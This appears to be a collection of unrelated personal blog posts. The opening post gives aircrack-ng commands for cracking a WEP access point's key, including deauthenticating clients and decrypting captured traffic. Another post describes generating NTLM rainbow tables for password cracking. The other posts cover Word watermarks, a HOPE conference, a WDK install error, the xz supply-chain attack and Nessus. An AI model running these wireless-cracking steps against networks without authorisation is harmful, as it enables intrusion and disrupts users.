If you want to crack WEP keys of an AP that is using WEP.

The following steps should be performed:

Start Capturing packets first:
sudo airodump-ng –bssid <APMAC> -w <CAPTUREFILE> –channel <CHANNELNUM> <IFACE>

Start capturing ARP packets:
sudo aireplay-ng –arpreplay -e <ESSID> -b <APMAC> -h <ASSOCIATEDCLIENTMAC> <IFACE>

Send deauth packets:
sudo aireplay-ng –deauth 5 -a <APMAC> -c <ASSOCIATEDCLIENTMAC> -e <ESSID> <IFACE>

Send fakeauth packets:
sudo aireplay-ng –fakeauth 5 -e <ESSID> -b <APMAC> -h <ASSOCCLIENTMAC> <IFACE>

Cracking WEP:
aircrack-ng -e <ESSID> -b <APMAC> -n <BITSIZE> -f <FUDGEFACTOR> <CAPTUREFILE>

The fudge factor is a measure of how much randomness to check for. I am not exactly sure of its cryptographic significance, however, it may make the difference between cracking a WEP key and not.

Sometimes you may have an AP with no clients connected to it. In such cases, follow the instructions at the following URL:
How to crack WEP with no clients.

Once the WEP keys are obtained then use airdecap-ng to decrypt the packets:
airdecap-ng -b <APMAC> -e <ESSID> -w <KEY> <PCAPFILE>
tcpdump -r <PCAPFILE>-dec.cap

Using watermarks in word documents looks really cool. But the problem occurs when the documents become too big. In such cases, the document becomes exceedingly slow to react to scrolling. Adobe PDF conversion is an even bigger problem.
To remove the watermark it is simple enough : Format -> Background -> Printed Watermark. Then click on “No watermark” and you are golden (or you should be golden).
I’ve observed that the watermark does not get removed many times when you have too many sections in the document.
In such cases: Goto View -> Header and Footer. Click on “Show/Hide Document Text”.
You should see that all your text has disappeared except the watermark. Click on the watermark and you should be able to select it like a floating image. Press the “delete” key and lo! behold! the watermark is gone.
This took me a while to figure out and it was quite frustrating. I hope this post helps someone!

This was my first hope conference (The Next HOPE Conference)despite being in New York City for more than half a decade. Always it seemed that work would send me out of town just before the con. However, this time around I had the good fortune of being in the city during the conference.
There were a few good talks some of which were not so technical but kindled the questions for privacy fanatics.
The talks I attended included Alessio Pennasilico’s talk about DDoS attack on Bakeca.it, Modern Crimeware and Tools talk by Alexander Heid, Steven Rambam’s talk on Privacy is Dead, Blaze Mouse Cheswick et. al’s talk which was abstract but awesome. I did attend a few more talks and it was fun. All in all a great conference.

If you are installing Windows Driver Kit (WDK) from Microsoft and you choose to install the Device Simulation Framework (DSF) for USB and such devices, then you need to have the DCOM Server Process Launcher service running otherwise you get errors as cryptic as:
Unexpected Installation Error. Error in installing.
I wish there was more information that could be given in the error. Since I figured this out with only trial and error, I thought I’ll post the solution to this error.

What www.hak5.org started was quite commendable and I’m really not sure what the status of the Community Rainbow Tables project is at hak5.
They are generating the rainbow tables with the following configuration:

* NTLM
* mixalpha-numeric-all-space
* [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
* 26 indexes, 22 files/index
* 572 tables total
* 340.93GB
* 96.07% probability of successful crack

I’m currently generating index 13 and index 26 on this configuration. It would be cool to have multiple people generate it and upload it. I know many people are already doing that as we speak. We should also have SHA1, MD5 project for mixalpha-numberic-all-space configurations.

As can be seen from the recent “xz attack” discovery that there nation states have realized that this is likely the “best” vector to impact large-scale systems in big organizations. With the cloud computing providers being the “source of computing” for most large corporations today, we should anticipate that a larger portion of the attacks will fall into this category. Also, just like “sleeper cells” in traditional espionage, such “sleepers” may exist in numerous OSS projects. Does that mean we should stop using open source – hell no. All that means is we just need to be careful. Can we detect these attacks? It’s tough to detect but yes we can detect them by good ol’ school, telemetry and observability.

But that’s not what this blog post is about. I think the most interesting bit from the xz attack for me was that the libraries that get harder to debug and decode are much juicier targets. How does that matter? The ML libraries that are super popular like pytorch and tensorflow and others are quite hard to compile out of bound from scratch. Such libraries can have interesting attack vectors which allow nice pickle compromises. I say “nice” because the family of insecure deserialization has existed in CWE since 2006! It’s older than many other issues and will continue to exist.

My only hope is that maintainers of core ML projects such as PyTorch, Tensorflow, keras and others start showing a slightly higher level of paranoia and build reproducibility so the supply chain attacks can be avoided on such harder to debug libraries.

Interestingly enough, I found last week that the new Nessus 4.2.0 works by default as a web interface. Gone are the days of using the NessusClient and connecting to TCP port 1241 and using it to connect to the nessusd. Connecting to local TCP port 8834 (https://localhost:8834) brings you to a web interface that you can use to connect to the new Nessus daemon. The nesssusd listener does not even listen on port 1241 by default.
I’ll shortly get used to it but I know the transition would be slow for me …. after it takes getting used to when you completely change the architecture after maintaining it for at least a good 7 years or so!